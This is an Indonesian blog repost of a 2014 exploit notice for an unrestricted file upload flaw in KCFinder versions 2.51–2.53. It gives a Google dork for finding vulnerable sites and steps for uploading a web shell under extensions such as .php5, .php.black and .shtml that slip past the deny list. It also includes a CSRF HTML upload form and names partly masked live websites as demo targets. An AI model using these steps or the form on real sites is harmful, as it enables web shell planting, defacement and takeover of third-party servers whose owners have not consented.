KCFinder Upload Shell Vulnerability - Hallo sahabat Minato ET, Pada Artikel yang anda baca kali ini dengan judul KCFinder Upload Shell Vulnerability, kami telah mempersiapkan artikel ini dengan baik untuk anda baca dan ambil informasi didalamnya. mudah-mudahan isi postingan Artikel CSRF, Artikel File Upload, Artikel Tutorial, Artikel Unrestricted, yang kami tulis ini dapat anda pahami. baiklah, selamat membaca.

Judul : KCFinder Upload Shell Vulnerability
link : KCFinder Upload Shell Vulnerability

KCFinder Upload Shell Vulnerability

#-  Exploit Title : KCFinder Upload Shell Vulnerability

#- Exploit Author : Iranian_Dark_Coders_Team
#- Google Dork : inurl:/kcfinder/browse.php
#- Date : 24/04/2014
#- Home : www.idc-team. net
#- Discovered By : Black.Hack3r
#- Vendor Homepage : kcfinder.sunhater. com
#- Version : 2.51 - 2.53
#- Tested on : Windows 8 & Linux

=================================================

 [+] Events location bug:

 [+] http://127.0.0.1/path/kcfinder/config.php

  Line 51: 'deniedExts' => "exe com msi bat php phps phtml php3 php4 cgi pl",



 [+] Exploit:
 
 [+] http://127.0.0.1/kcfinder/browse.php
 [+] http://127.0.0.1/[path]/kcfinder/browse.php



 [+] Proof Of Cencept

Trick 1 ~~
 

1 > Go to target link
    http://localhost/KCFinder/browse.php

2 > Then select your folder from the left panel

3 > Upload your shell as [ shell.php2 & shell.php5 & shell.php.black & shell.shtml & defacepage.html ]

4 > Shell Acces ?
      {here}
       

Trick 2 ~~

Where is vulnerability ? "localhost/path/kcfinder/upload.php"

How to ??  You can use CSRF :) 

<form method="POST" action="http://web. com/path/kcfinder/upload.php"enctype="multipart/form-data"><input type="file" name="Filedata" /><button>~/ ndsxf</button></form> 

Shell Acces ? {here}

 [+] Demo site:

 [+] http://www.basukiwat**.com/assets/js/mylibs/kcfinder/browse.php
 [+] http://www.padel4**.be/kcfinder/browse.php
 [+] http://goyathlaysvintagepavonirestoratio**.com/kcfinder/browse.php



 [+] Discovered By : Black.Hack3r
 [+] We Are : M.R.S.CO,Black.Hack3r,N3O,D$@d_M@n,KurD_HaCK3R,HOt0N
 [+] SpTnx  : Sec4ever,HashoR,@3is,Security,M4H4N,Mr.Cicili And All IDC Member
 [+] Home : www.idc-team. net

Demikianlah Artikel KCFinder Upload Shell Vulnerability

Sekianlah artikel KCFinder Upload Shell Vulnerability kali ini, mudah-mudahan bisa memberi manfaat untuk anda semua. baiklah, sampai jumpa di postingan artikel lainnya.

Anda sekarang membaca artikel KCFinder Upload Shell Vulnerability dengan alamat link https://minatoet.blogspot.com/2015/10/kcfinder-upload-shell-vulnerability.html

Tweet